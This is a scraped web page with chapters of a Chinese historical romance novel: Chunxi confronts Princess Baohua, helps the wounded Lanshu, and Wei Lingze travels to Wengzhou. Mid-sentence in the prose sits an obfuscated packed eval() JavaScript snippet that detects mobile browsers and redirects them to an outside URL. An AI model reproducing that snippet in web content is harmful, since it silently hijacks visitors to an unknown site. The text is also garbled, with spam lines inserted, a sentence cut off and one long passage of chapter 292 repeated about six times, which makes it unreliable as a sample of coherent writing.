宝华郡主寡居多年府里下人不多环境很是清幽春喜在前厅等了一盏茶的功夫宝华郡主就来了。 “昨日是我不好没有弄清楚真相就贸然开口我愿意向沈夫人道歉。” 宝华郡主的眼睛红肿像是昨夜大哭过一场整个人的精神也有些萎靡她声音沙哑语气温和面对春喜时没有半点儿恶意很是寡淡。 春喜温声开口:“郡主误会了我今日不是来要道歉的我只是想知道郡主昨日为什么要撒谎?” 宝华郡主怔了下好奇反问:“沈夫人不是承认自己那日去看了无忧阁的魁首遴选吗?” “我的确是去了但一路上我都戴了帏帽而且无忧阁向来注重保护客人隐私我没有在无忧阁见过郡主想来郡主应该也没有机会见到我才对。” 无冤无仇的宝华郡主宁可搭上自己的名声也要当众指控自己背后定然有人指使。 昨日春喜并没有跟宝华郡主争辩宝华郡主没想到过了一日春喜还会上门来问她抿了抿唇最终摇头:“的确是有人让我这么做的但我与他做了交易不能告诉你他的身份。” 宝华郡主不愿意透露春喜也没追问转而道:“我见郡主眼睛有些红肿精神瞧着也不太好 春喜言辞恳切是真的出于关心宝华郡主愣了一下摇头:“谢沈夫人关心我并无大碍只是昨夜梦见亡夫有些激动。” 提起亡夫宝华郡主的眼底又有泪光闪现可见这么多年她对亡夫的感情始终未变春喜想到岚舒那可以算得上是出神入化的化妆技巧大概能猜到宝华郡主去无忧阁并非寻乐而是想从别人身上寻找故人的影子。 春喜不知该如何安慰只能默默上前递了帕子给宝华郡主。 “多谢。” 宝华郡主接过帕子拭泪距离近些春喜闻到她身上有很淡的香气和上次在岚舒身上的味道一样。 春喜心念微动好奇地问:“郡主可是买了无忧阁的香?” 去无忧阁这事已不是秘密宝华郡主也没遮掩点头道:“是这香挺特别的用了能睡好觉还能做个好梦。” 春喜敏锐地问:“郡主昨夜就是用了这香吗?” 宝华郡主迟疑了下点点头:“亡夫故去多年虽然府中有他的画像但他的容颜在我脑中其实已经有些模糊了但用了这香之后梦境特 听说看这本书的人都是很幸运的,分享后你的运气会更棒 别真实,他好像又活过来了,能天天陪在我身边。” 说到最后,宝华郡主脸上有了神采,已经有了细纹的脸上也浮现出少女的娇俏。 春喜这些年也想自己的父亲,但随着时间流逝,她也记不太清楚父亲的样子了,所以她很能理解宝华郡主的心情。 能让故去多年,想见而不能见的人出现在眼前,偷得浮生一场梦,这一钱香卖十两金似乎也没那么贵了。 但假的终归是假的,从梦境中醒来只会让人更痛苦。 春喜暗示宝华郡主不要太沉溺其中,宝华郡主却根本听不进去,不等春喜多说就下了逐客令。 离开郡主府,春喜去回春堂买了些滋补的东西,刚走出回春堂的大门却碰到岚舒。 上次见面岚舒就伤了手,这次头上更是顶着个血窟窿,看着很是狼狈。 岚舒也没想到会在这里碰到春喜,不过片刻的怔愣后他就反应过来,笑着退到一旁行礼:“沈夫人,好巧。” 春喜颔首,看着他头上的伤问:“公子怎么又受伤了?” “昨夜遇到个脾气不好的贵客,被砸了一下,没什么大碍,没吓到沈夫人吧?” 岚舒说着抬起手,用袖子挡住伤口。 他都这样了,还想着不要吓到别人。 春喜连忙摇头:“我没这么胆小,我看公子流了很多血,还是快进去找大夫包扎吧。” 春喜说着折返回大堂,让伙计扶着岚舒。 岚舒连忙道:“我自己能走,沈夫人不必如此。” 冬末春初,季节交替,好多人都染了风寒,回春堂里人满为患,春喜没听岚舒说什么,让阿鲤帮忙排队等位。 岚舒头上的伤确实不是很严重,但当大夫解开他左手的绷带,看到他少了一根手指,春喜还是忍不住倒吸了一口冷气。 岚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158346|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒还是那副天塌下来都有人顶着的轻松模样:“沈夫人别怕,现在已经不疼了,而且也不影响日常生活,无碍的。” 十指连心,哪有人失去一根手指会不疼的? 春喜没看岚舒,只对大夫道:“麻烦您给他用最好的药,钱我出。” 岚舒连忙开口:“无忧阁是回春堂的大客户,我来这里看病都不要钱的……” 春喜没有理会岚舒,带着阿鲤出了回春堂。 看着春喜的背影,岚舒唇角笑意微收。 这位沈夫人还真是热心啊,要是沈夫人知道昨日是他让宝华郡主去当众指认她的,应该会很愤怒很失望吧? 换好药,岚舒 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 又从回春堂购置了一批常用的药,刚回到无忧阁,就见阿鲤提着一个食盒走进来。 “我家夫人说了,伤筋动骨一百天,除了按时换药,饮食也得跟上,这是猪蹄汤,公子先吃一点儿,若是觉得味道不错,可以去西雀街第八家铺子买,我家夫人跟铺子老板有交情,提我家夫人,老板定然会多给公子两块儿肉。” 阿鲤边说边打开食盒。 盒子里的猪蹄汤熬得浓白,一开盖鲜香的味道就扑鼻而来。 西雀街离无忧阁挺远的,但食盒底下有炭火煨着,汤一点儿没冷,还冒着腾腾的热气。 岚舒眨眨眼,感觉眼睛被这热气熏得有点儿湿,他刚想说话,阿鲤又递过来一张纸:“这是我家夫人列的食补清单,上面这些铺子都是夫人吃过并且觉得味道很好的,公子可以照着单子上的买,保证不会被坑。” 阿鲤馋了一路,说着话,眼睛控制不住地往汤上瞟。 岚舒收下纸条,淡淡道:“想吃就吃。” 阿鲤连忙摇头:“公子受伤了,这是夫人特意让小人买来给公子补身子的,小人不能喝,小人告辞。” 阿鲤说完小跑着离开。 岚舒看看他的背影,又看看冒着热气的汤,轻轻啧了一声。 怎么感觉他这早就被狗吃了的良心突然有点儿疼? 第292章 翁州 太傅府宴席之后,李怀景正式上任,答应跟越西交换的第一批粮食已经准备好,五日后就会出发运往翁州。 卫凌泽和李继贤并不在正式的押运名单之列,但会跟着众人一同前往翁州。 离开之前,他又去了一趟萧家。 萧家的管事和以前一样热情地款待了他,但他在前厅坐了很久,也没有其他人来见他。 他跟萧清禾和离了,不再是萧家的女婿,萧家不会将他拒之门外,但也仅此而已。 换过三次的茶水再度冷透,卫凌泽起身离开,管事陪着笑送他,出了大门,管事恳切道:“祝公子一路顺风。” 卫凌泽勾唇露出一个勉强的笑:“多谢。” 卫凌泽一走,下人立刻给萧清禾报了信。 萧清禾看着书,没什么反应,院中下人也不敢议论这件事,过了好一会儿,雀枝干巴巴地开口:“还挺巧的,昨日奴婢听说辰少爷好像也要去翁州,不知道辰少爷是去做什么的。” 萧清禾翻书的动作一顿,抬眸看向雀枝:“他为什么也去翁州?” 萧清禾微微蹙眉,脑海中浮现出萧夜辰之前几次见卫凌泽都恨不得杀了他的场景。 雀枝没想到萧清禾会关心这个,愣了一下说:“奴婢也不清楚,只是听辰少爷院中的小厮提了一嘴,奴婢这就去仔细打听打听。” 雀枝转身就要走,萧清禾摇头道:“不用。” 她已经谢绝了萧夜辰的暗中保护,背后之意萧夜辰应该明白,而且她已经跟卫凌泽和离,卫凌泽再也伤害不了她,萧夜辰没有必要为了她去杀卫凌泽。 若是萧夜辰和卫凌泽之间还有她不知道的恩怨,那她也没有立场阻止萧夜辰做事。 萧清禾在心里安慰了自己一番,却再也看不进去书里的内容。 之前她几次陷于危难都是萧夜辰及时出现救了她,虽说萧家对萧夜辰有恩,但她也不能心安理得地享受他提供的一切帮助。 思忖良久,萧清禾还是把雀枝叫到面前,低声吩咐了她几句。 ** 萧夜辰此行的确跟卫凌泽有关,不过他是奉太子之命前往翁州的,并非为了私心去暗杀卫凌泽。 越西会运送上好的动物皮**和玉石来昭陵,但价格定得很低,换取的粮食只是那些皮**和玉石的三分之一。 如此好说话,和之前为了抢夺城池可以不择手段的强盗行径相差太远,沈清渊和太子商议之后,决定让萧夜辰暗中跟着押运粮食的队伍看看其中有没有什么猫腻。 萧夜辰独来独往惯了,只收拾一个简单的小包袱,出发前夜,院中小厮二牛拿来了好些伤药和护膝护腕。 “公子路上要千万小心,无论遇到什么危险都要记得保全自己,莫要与人硬碰硬,人生在世不过短短数十载,没有什么事能比公子自己的安危更重要。” 二牛的声音在萧夜辰充满威压的注视下越来越低,最后如同蚊鸣,几乎听不清。 “谁让你跟我说这些的?” 萧夜辰声音很冷。 他不是个爱说话的人,平日更是喜静,二牛跟在他身边多年,早就习惯当哑巴,今天实在是反常得很。 二牛被萧夜辰看得冷汗都冒出来了,他磕磕巴巴地说:“小人不能说,但那位也是关心公子,并无恶意。” 萧夜辰捻了捻指尖,心脏有些发麻。 这次要远行,他只跟萧父提了一嘴,萧父若要关心他,根本不需要如此遮遮掩掩,而他在萧家的存在感很低,其他人也不会做这样的事。 那就只剩下大小姐了。 大小姐在关心他。 这个猜测让萧夜辰整个心都不受控制地狂跳起来,前些日子被大小姐拒绝的失落黯然在这一刻统统化作乌有。 喉结微滚,萧夜辰压下激动,尽可能镇定地开口:“她还让你说什么了?” 见萧夜辰没有生气,二牛松了口气,飞快道:“也没什么,就是让公子注意安全,无论遇到何种情况都以自己为重,莫要轻视自己的性命。” 二牛说了好几句,落在萧夜辰耳中只有一句:大小姐希望他能好好活着。 萧夜辰的唇角控制不住上扬,他想让二牛转告几句话,但想到萧清禾绕了这么大一圈就是不想让人误会他们的关系,又忍了下去,只对二牛说:“我会平安回来的,今日之事,给我烂在肚子里,就算做梦说梦话也不许说出去,知道吗?” 二牛连忙点头:“小人明白,公子放心,小人一定守口如瓶,保证谁也不说!” 第二日,天还未亮,萧夜辰就背着包袱悄无声息地离开萧家。 卫凌泽则在天亮后和李继贤在城外与押运粮草的队伍汇合。 李继贤第一次出远门,很是兴奋。 出发不久,他就忍不住凑到卫凌泽耳边八卦:“卫兄,你真是无忧阁的阁主啊,那之前沈清渊的擢升宴,无忧阁的人怎么当众退了你的钱让你下不来台?” 之前卫凌泽风光无限,李继贤想求娶卫家的小姐,对卫凌泽多有讨好,如今卫凌泽被停了职,还闹出很多笑话,李继贤如今对卫凌泽没了讨好,只想看笑话。 卫凌泽冷着脸,给了他一个大大的白眼,而后冷声呵斥:“滚。” “卫兄……” 李继贤腆着脸,还想追问,被卫凌泽手里的剑逼退。 卫凌泽轻夹马腹将众人甩在后面,李继贤不屑地撇了撇嘴,心中腹诽:都被停职了,跟萧家也断了亲,还装什么装? 一路上卫凌泽都没再理会李继贤,半个多月后,一行人抵达翁州。 一路颠簸劳累,李继贤早就没了出发时的兴奋,好不容易抵达翁州,接风宴后,李继贤就去了翁州最大的风月场所。 刚进去,他看到的不是美女,而是一群吞云吐雾的男女。 空气中有股浓郁的异香,闻起来并不艳俗,反倒让人浑身的毛孔都舒展开来。 “哟,公子,瞧你气宇不凡、一身贵气,应该是别的地方来的贵人吧?” 这话听着十分悦耳,李继贤拿出银锭,大气道:“把你们这里最漂亮的姑娘叫来。” 老鸨收下银锭,笑得开怀:“公子别急,咱们这里有比姑娘更好玩儿的东西~” 萧夜辰独来独往惯了,只收拾一个简单的小包袱,出发前夜,院中小厮二牛拿来了好些伤药和护膝护腕。 “公子路上要千万小心,无论遇到什么危险都要记得保全自己,莫要与人硬碰硬,人生在世不过短短数十载,没有什么事能比公子自己的安危更重要。” 二牛的声音在萧夜辰充满威压的注视下越来越低,最后如同蚊鸣,几乎听不清。 “谁让你跟我说这些的?” 萧夜辰声音很冷。 他不是个爱说话的人,平日更是喜静,二牛跟在他身边多年,早就习惯当哑巴,今天实在是反常得很。 二牛被萧夜辰看得冷汗都冒出来了,他磕磕巴巴地说:“小人不能说,但那位也是关心公子,并无恶意。” 萧夜辰捻了捻指尖,心脏有些发麻。 这次要远行,他只跟萧父提了一嘴,萧父若要关心他,根本不需要如此遮遮掩掩,而他在萧家的存在感很低,其他人也不会做这样的事。 那就只剩下大小姐了。 大小姐在关心他。 这个猜测让萧夜辰整个心都不受控制地狂跳起来,前些日子被大小姐拒绝的失落黯然在这一刻统统化作乌有。 喉结微滚,萧夜辰压下激动,尽可能镇定地开口:“她还让你说什么了?” 见萧夜辰没有生气,二牛松了口气,飞快道:“也没什么,就是让公子注意安全,无论遇到何种情况都以自己为重,莫要轻视自己的性命。” 二牛说了好几句,落在萧夜辰耳中只有一句:大小姐希望他能好好活着。 萧夜辰的唇角控制不住上扬,他想让二牛转告几句话,但想到萧清禾绕了这么大一圈就是不想让人误会他们的关系,又忍了下去,只对二牛说:“我会平安回来的,今日之事,给我烂在肚子里,就算做梦说梦话也不许说出去,知道吗?” 二牛连忙点头:“小人明白,公子放心,小人一定守口如瓶,保证谁也不说!” 第二日,天还未亮,萧夜辰就背着包袱悄无声息地离开萧家。 卫凌泽则在天亮后和李继贤在城外与押运粮草的队伍汇合。 李继贤第一次出远门,很是兴奋。 出发不久,他就忍不住凑到卫凌泽耳边八卦:“卫兄,你真是无忧阁的阁主啊,那之前沈清渊的擢升宴,无忧阁的人怎么当众退了你的钱让你下不来台?” 之前卫凌泽风光无限,李继贤想求娶卫家的小姐,对卫凌泽多有讨好,如今卫凌泽被停了职,还闹出很多笑话,李继贤如今对卫凌泽没了讨好,只想看笑话。 卫凌泽冷着脸,给了他一个大大的白眼,而后冷声呵斥:“滚。” “卫兄……” 李继贤腆着脸,还想追问,被卫凌泽手里的剑逼退。 卫凌泽轻夹马腹将众人甩在后面,李继贤不屑地撇了撇嘴,心中腹诽:都被停职了,跟萧家也断了亲,还装什么装? 一路上卫凌泽都没再理会李继贤,半个多月后,一行人抵达翁州。 一路颠簸劳累,李继贤早就没了出发时的兴奋,好不容易抵达翁州,接风宴后,李继贤就去了翁州最大的风月场所。 刚进去,他看到的不是美女,而是一群吞云吐雾的男女。 空气中有股浓郁的异香,闻起来并不艳俗,反倒让人浑身的毛孔都舒展开来。 “哟,公子,瞧你气宇不凡、一身贵气,应该是别的地方来的贵人吧?” 这话听着十分悦耳,李继贤拿出银锭,大气道:“把你们这里最漂亮的姑娘叫来。” 老鸨收下银锭,笑得开怀:“公子别急,咱们这里有比姑娘更好玩儿的东西~” 萧夜辰独来独往惯了,只收拾一个简单的小包袱,出发前夜,院中小厮二牛拿来了好些伤药和护膝护腕。 “公子路上要千万小心,无论遇到什么危险都要记得保全自己,莫要与人硬碰硬,人生在世不过短短数十载,没有什么事能比公子自己的安危更重要。” 二牛的声音在萧夜辰充满威压的注视下越来越低,最后如同蚊鸣,几乎听不清。 “谁让你跟我说这些的?” 萧夜辰声音很冷。 他不是个爱说话的人,平日更是喜静,二牛跟在他身边多年,早就习惯当哑巴,今天实在是反常得很。 二牛被萧夜辰看得冷汗都冒出来了,他磕磕巴巴地说:“小人不能说,但那位也是关心公子,并无恶意。” 萧夜辰捻了捻指尖,心脏有些发麻。 这次要远行,他只跟萧父提了一嘴,萧父若要关心他,根本不需要如此遮遮掩掩,而他在萧家的存在感很低,其他人也不会做这样的事。 那就只剩下大小姐了。 大小姐在关心他。 这个猜测让萧夜辰整个心都不受控制地狂跳起来,前些日子被大小姐拒绝的失落黯然在这一刻统统化作乌有。 喉结微滚,萧夜辰压下激动,尽可能镇定地开口:“她还让你说什么了?” 见萧夜辰没有生气,二牛松了口气,飞快道:“也没什么,就是让公子注意安全,无论遇到何种情况都以自己为重,莫要轻视自己的性命。” 二牛说了好几句,落在萧夜辰耳中只有一句:大小姐希望他能好好活着。 萧夜辰的唇角控制不住上扬,他想让二牛转告几句话,但想到萧清禾绕了这么大一圈就是不想让人误会他们的关系,又忍了下去,只对二牛说:“我会平安回来的,今日之事,给我烂在肚子里,就算做梦说梦话也不许说出去,知道吗?” 二牛连忙点头:“小人明白,公子放心,小人一定守口如瓶,保证谁也不说!” 第二日,天还未亮,萧夜辰就背着包袱悄无声息地离开萧家。 卫凌泽则在天亮后和李继贤在城外与押运粮草的队伍汇合。 李继贤第一次出远门,很是兴奋。 出发不久,他就忍不住凑到卫凌泽耳边八卦:“卫兄,你真是无忧阁的阁主啊,那之前沈清渊的擢升宴,无忧阁的人怎么当众退了你的钱让你下不来台?” 之前卫凌泽风光无限,李继贤想求娶卫家的小姐,对卫凌泽多有讨好,如今卫凌泽被停了职,还闹出很多笑话,李继贤如今对卫凌泽没了讨好,只想看笑话。 卫凌泽冷着脸,给了他一个大大的白眼,而后冷声呵斥:“滚。” “卫兄……” 李继贤腆着脸,还想追问,被卫凌泽手里的剑逼退。 卫凌泽轻夹马腹将众人甩在后面,李继贤不屑地撇了撇嘴,心中腹诽:都被停职了,跟萧家也断了亲,还装什么装? 一路上卫凌泽都没再理会李继贤,半个多月后,一行人抵达翁州。 一路颠簸劳累,李继贤早就没了出发时的兴奋,好不容易抵达翁州,接风宴后,李继贤就去了翁州最大的风月场所。 刚进去,他看到的不是美女,而是一群吞云吐雾的男女。 空气中有股浓郁的异香,闻起来并不艳俗,反倒让人浑身的毛孔都舒展开来。 “哟,公子,瞧你气宇不凡、一身贵气,应该是别的地方来的贵人吧?” 这话听着十分悦耳,李继贤拿出银锭,大气道:“把你们这里最漂亮的姑娘叫来。” 老鸨收下银锭,笑得开怀:“公子别急,咱们这里有比姑娘更好玩儿的东西~” 萧夜辰独来独往惯了,只收拾一个简单的小包袱,出发前夜,院中小厮二牛拿来了好些伤药和护膝护腕。 “公子路上要千万小心,无论遇到什么危险都要记得保全自己,莫要与人硬碰硬,人生在世不过短短数十载,没有什么事能比公子自己的安危更重要。” 二牛的声音在萧夜辰充满威压的注视下越来越低,最后如同蚊鸣,几乎听不清。 “谁让你跟我说这些的?” 萧夜辰声音很冷。 他不是个爱说话的人,平日更是喜静,二牛跟在他身边多年,早就习惯当哑巴,今天实在是反常得很。 二牛被萧夜辰看得冷汗都冒出来了,他磕磕巴巴地说:“小人不能说,但那位也是关心公子,并无恶意。” 萧夜辰捻了捻指尖,心脏有些发麻。 这次要远行,他只跟萧父提了一嘴,萧父若要关心他,根本不需要如此遮遮掩掩,而他在萧家的存在感很低,其他人也不会做这样的事。 那就只剩下大小姐了。 大小姐在关心他。 这个猜测让萧夜辰整个心都不受控制地狂跳起来,前些日子被大小姐拒绝的失落黯然在这一刻统统化作乌有。 喉结微滚,萧夜辰压下激动,尽可能镇定地开口:“她还让你说什么了?” 见萧夜辰没有生气,二牛松了口气,飞快道:“也没什么,就是让公子注意安全,无论遇到何种情况都以自己为重,莫要轻视自己的性命。” 二牛说了好几句,落在萧夜辰耳中只有一句:大小姐希望他能好好活着。 萧夜辰的唇角控制不住上扬,他想让二牛转告几句话,但想到萧清禾绕了这么大一圈就是不想让人误会他们的关系,又忍了下去,只对二牛说:“我会平安回来的,今日之事,给我烂在肚子里,就算做梦说梦话也不许说出去,知道吗?” 二牛连忙点头:“小人明白,公子放心,小人一定守口如瓶,保证谁也不说!” 第二日,天还未亮,萧夜辰就背着包袱悄无声息地离开萧家。 卫凌泽则在天亮后和李继贤在城外与押运粮草的队伍汇合。 李继贤第一次出远门,很是兴奋。 出发不久,他就忍不住凑到卫凌泽耳边八卦:“卫兄,你真是无忧阁的阁主啊,那之前沈清渊的擢升宴,无忧阁的人怎么当众退了你的钱让你下不来台?” 之前卫凌泽风光无限,李继贤想求娶卫家的小姐,对卫凌泽多有讨好,如今卫凌泽被停了职,还闹出很多笑话,李继贤如今对卫凌泽没了讨好,只想看笑话。 卫凌泽冷着脸,给了他一个大大的白眼,而后冷声呵斥:“滚。” “卫兄……” 李继贤腆着脸,还想追问,被卫凌泽手里的剑逼退。 卫凌泽轻夹马腹将众人甩在后面,李继贤不屑地撇了撇嘴,心中腹诽:都被停职了,跟萧家也断了亲,还装什么装? 一路上卫凌泽都没再理会李继贤,半个多月后,一行人抵达翁州。 一路颠簸劳累,李继贤早就没了出发时的兴奋,好不容易抵达翁州,接风宴后,李继贤就去了翁州最大的风月场所。 刚进去,他看到的不是美女,而是一群吞云吐雾的男女。 空气中有股浓郁的异香,闻起来并不艳俗,反倒让人浑身的毛孔都舒展开来。 “哟,公子,瞧你气宇不凡、一身贵气,应该是别的地方来的贵人吧?” 这话听着十分悦耳,李继贤拿出银锭,大气道:“把你们这里最漂亮的姑娘叫来。” 老鸨收下银锭,笑得开怀:“公子别急,咱们这里有比姑娘更好玩儿的东西~” 萧夜辰独来独往惯了,只收拾一个简单的小包袱,出发前夜,院中小厮二牛拿来了好些伤药和护膝护腕。 “公子路上要千万小心,无论遇到什么危险都要记得保全自己,莫要与人硬碰硬,人生在世不过短短数十载,没有什么事能比公子自己的安危更重要。” 二牛的声音在萧夜辰充满威压的注视下越来越低,最后如同蚊鸣,几乎听不清。 “谁让你跟我说这些的?” 萧夜辰声音很冷。 他不是个爱说话的人,平日更是喜静,二牛跟在他身边多年,早就习惯当哑巴,今天实在是反常得很。 二牛被萧夜辰看得冷汗都冒出来了,他磕磕巴巴地说:“小人不能说,但那位也是关心公子,并无恶意。” 萧夜辰捻了捻指尖,心脏有些发麻。 这次要远行,他只跟萧父提了一嘴,萧父若要关心他,根本不需要如此遮遮掩掩,而他在萧家的存在感很低,其他人也不会做这样的事。 那就只剩下大小姐了。 大小姐在关心他。 这个猜测让萧夜辰整个心都不受控制地狂跳起来,前些日子被大小姐拒绝的失落黯然在这一刻统统化作乌有。 喉结微滚,萧夜辰压下激动,尽可能镇定地开口:“她还让你说什么了?” 见萧夜辰没有生气,二牛松了口气,飞快道:“也没什么,就是让公子注意安全,无论遇到何种情况都以自己为重,莫要轻视自己的性命。” 二牛说了好几句,落在萧夜辰耳中只有一句:大小姐希望他能好好活着。 萧夜辰的唇角控制不住上扬,他想让二牛转告几句话,但想到萧清禾绕了这么大一圈就是不想让人误会他们的关系,又忍了下去,只对二牛说:“我会平安回来的,今日之事,给我烂在肚子里,就算做梦说梦话也不许说出去,知道吗?” 二牛连忙点头:“小人明白,公子放心,小人一定守口如瓶,保证谁也不说!” 第二日,天还未亮,萧夜辰就背着包袱悄无声息地离开萧家。 卫凌泽则在天亮后和李继贤在城外与押运粮草的队伍汇合。 李继贤第一次出远门,很是兴奋。 出发不久,他就忍不住凑到卫凌泽耳边八卦:“卫兄,你真是无忧阁的阁主啊,那之前沈清渊的擢升宴,无忧阁的人怎么当众退了你的钱让你下不来台?” 之前卫凌泽风光无限,李继贤想求娶卫家的小姐,对卫凌泽多有讨好,如今卫凌泽被停了职,还闹出很多笑话,李继贤如今对卫凌泽没了讨好,只想看笑话。 卫凌泽冷着脸,给了他一个大大的白眼,而后冷声呵斥:“滚。” “卫兄……” 李继贤腆着脸,还想追问,被卫凌泽手里的剑逼退。 卫凌泽轻夹马腹将众人甩在后面,李继贤不屑地撇了撇嘴,心中腹诽:都被停职了,跟萧家也断了亲,还装什么装? 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一路上卫凌泽都没再理会李继贤,半个多月后,一行人抵达翁州。 一路颠簸劳累,李继贤早就没了出发时的兴奋,好不容易抵达翁州,接风宴后,李继贤就去了翁州最大的风月场所。 刚进去,他看到的不是美女,而是一群吞云吐雾的男女。 空气中有股浓郁的异香,闻起来并不艳俗,反倒让人浑身的毛孔都舒展开来。 “哟,公子,瞧你气宇不凡、一身贵气,应该是别的地方来的贵人吧?” 这话听着十分悦耳,李继贤拿出银锭,大气道:“把你们这里最漂亮的姑娘叫来。” 老鸨收下银锭,笑得开怀:“公子别急,咱们这里有比姑娘更好玩儿的东西~” 萧夜辰独来独往惯了,只收拾一个简单的小包袱,出发前夜,院中小厮二牛拿来了好些伤药和护膝护腕。 “公子路上要千万小心,无论遇到什么危险都要记得保全自己,莫要与人硬碰硬,人生在世不过短短数十载,没有什么事能比公子自己的安危更重要。” 二牛的声音在萧夜辰充满威压的注视下越来越低,最后如同蚊鸣,几乎听不清。 “谁让你跟我说这些的?” 萧夜辰声音很冷。 他不是个爱说话的人,平日更是喜静,二牛跟在他身边多年,早就习惯当哑巴,今天实在是反常得很。 二牛被萧夜辰看得冷汗都冒出来了,他磕磕巴巴地说:“小人不能说,但那位也是关心公子,并无恶意。” 萧夜辰捻了捻指尖,心脏有些发麻。 这次要远行,他只跟萧父提了一嘴,萧父若要关心他,根本不需要如此遮遮掩掩,而他在萧家的存在感很低,其他人也不会做这样的事。 那就只剩下大小姐了。 大小姐在关心他。 这个猜测让萧夜辰整个心都不受控制地狂跳起来,前些日子被大小姐拒绝的失落黯然在这一刻统统化作乌有。 喉结微滚,萧夜辰压下激动,尽可能镇定地开口:“她还让你说什么了?” 见萧夜辰没有生气,二牛松了口气,飞快道:“也没什么,就是让公子注意安全,无论遇到何种情况都以自己为重,莫要轻视自己的性命。” 二牛说了好几句,落在萧夜辰耳中只有一句:大小姐希望他能好好活着。 萧夜辰的唇角控制不住上扬,他想让二牛转告几句话,但想到萧清禾绕了这么大一圈就是不想让人误会他们的关系,又忍了下去,只对二牛说:“我会平安回来的,今日之事,给我烂在肚子里,就算做梦说梦话也不许说出去,知道吗?” 二牛连忙点头:“小人明白,公子放心,小人一定守口如瓶,保证谁也不说!” 第二日,天还未亮,萧夜辰就背着包袱悄无声息地离开萧家。 卫凌泽则在天亮后和李继贤在城外与押运粮草的队伍汇合。 李继贤第一次出远门,很是兴奋。 出发不久,他就忍不住凑到卫凌泽耳边八卦:“卫兄,你真是无忧阁的阁主啊,那之前沈清渊的擢升宴,无忧阁的人怎么当众退了你的钱让你下不来台?” 之前卫凌泽风光无限,李继贤想求娶卫家的小姐,对卫凌泽多有讨好,如今卫凌泽被停了职,还闹出很多笑话,李继贤如今对卫凌泽没了讨好,只想看笑话。 卫凌泽冷着脸,给了他一个大大的白眼,而后冷声呵斥:“滚。” “卫兄……” 李继贤腆着脸,还想追问,被卫凌泽手里的剑逼退。 卫凌泽轻夹马腹将众人甩在后面,李继贤不屑地撇了撇嘴,心中腹诽:都被停职了,跟萧家也断了亲,还装什么装? 一路上卫凌泽都没再理会李继贤,半个多月后,一行人抵达翁州。 一路颠簸劳累,李继贤早就没了出发时的兴奋,好不容易抵达翁州,接风宴后,李继贤就去了翁州最大的风月场所。 刚进去,他看到的不是美女,而是一群吞云吐雾的男女。 空气中有股浓郁的异香,闻起来并不艳俗,反倒让人浑身的毛孔都舒展开来。 “哟,公子,瞧你气宇不凡、一身贵气,应该是别的地方来的贵人吧?” 这话听着十分悦耳,李继贤拿出银锭,大气道:“把你们这里最漂亮的姑娘叫来。” 老鸨收下银锭,笑得开怀:“公子别急,咱们这里有比姑娘更好玩儿的东西~” 萧夜辰独来独往惯了,只收拾一个简单的小包袱,出发前夜,院中小厮二牛拿来了好些伤药和护膝护腕。 “公子路上要千万小心,无论遇到什么危险都要记得保全自己,莫要与人硬碰硬,人生在世不过短短数十载,没有什么事能比公子自己的安危更重要。” 二牛的声音在萧夜辰充满威压的注视下越来越低,最后如同蚊鸣,几乎听不清。 “谁让你跟我说这些的?” 萧夜辰声音很冷。 他不是个爱说话的人,平日更是喜静,二牛跟在他身边多年,早就习惯当哑巴,今天实在是反常得很。 二牛被萧夜辰看得冷汗都冒出来了,他磕磕巴巴地说:“小人不能说,但那位也是关心公子,并无恶意。” 萧夜辰捻了捻指尖,心脏有些发麻。 这次要远行,他只跟萧父提了一嘴,萧父若要关心他,根本不需要如此遮遮掩掩,而他在萧家的存在感很低,其他人也不会做这样的事。 那就只剩下大小姐了。 大小姐在关心他。 这个猜测让萧夜辰整个心都不受控制地狂跳起来,前些日子被大小姐拒绝的失落黯然在这一刻统统化作乌有。 喉结微滚,萧夜辰压下激动,尽可能镇定地开口:“她还让你说什么了?” 见萧夜辰没有生气,二牛松了口气,飞快道:“也没什么,就是让公子注意安全,无论遇到何种情况都以自己为重,莫要轻视自己的性命。” 二牛说了好几句,落在萧夜辰耳中只有一句:大小姐希望他能好好活着。 萧夜辰的唇角控制不住上扬,他想让二牛转告几句话,但想到萧清禾绕了这么大一圈就是不想让人误会他们的关系,又忍了下去,只对二牛说:“我会平安回来的,今日之事,给我烂在肚子里,就算做梦说梦话也不许说出去,知道吗?” 二牛连忙点头:“小人明白,公子放心,小人一定守口如瓶,保证谁也不说!” 第二日,天还未亮,萧夜辰就背着包袱悄无声息地离开萧家。 卫凌泽则在天亮后和李继贤在城外与押运粮草的队伍汇合。 李继贤第一次出远门,很是兴奋。 出发不久,他就忍不住凑到卫凌泽耳边八卦:“卫兄,你真是无忧阁的阁主啊,那之前沈清渊的擢升宴,无忧阁的人怎么当众退了你的钱让你下不来台?” 之前卫凌泽风光无限,李继贤想求娶卫家的小姐,对卫凌泽多有讨好,如今卫凌泽被停了职,还闹出很多笑话,李继贤如今对卫凌泽没了讨好,只想看笑话。 卫凌泽冷着脸,给了他一个大大的白眼,而后冷声呵斥:“滚。” “卫兄……” 李继贤腆着脸,还想追问,被卫凌泽手里的剑逼退。 卫凌泽轻夹马腹将众人甩在后面,李继贤不屑地撇了撇嘴,心中腹诽:都被停职了,跟萧家也断了亲,还装什么装? 一路上卫凌泽都没再理会李继贤,半个多月后,一行人抵达翁州。 一路颠簸劳累,李继贤早就没了出发时的兴奋,好不容易抵达翁州,接风宴后,李继贤就去了翁州最大的风月场所。 刚进去,他看到的不是美女,而是一群吞云吐雾的男女。 空气中有股浓郁的异香,闻起来并不艳俗,反倒让人浑身的毛孔都舒展开来。 “哟,公子,瞧你气宇不凡、一身贵气,应该是别的地方来的贵人吧?” 这话听着十分悦耳,李继贤拿出银锭,大气道:“把你们这里最漂亮的姑娘叫来。” 老鸨收下银锭,笑得开怀:“公子别急,咱们这里有比姑娘更好玩儿的东西~” 第293章 阿喜,有人要害你 卫凌泽虽然在瀚京闹出很多丑闻,但到了翁州,还是被新任州府奉为座上宾,翁州其他的官员和商贾全都挤破了脑袋想见他。 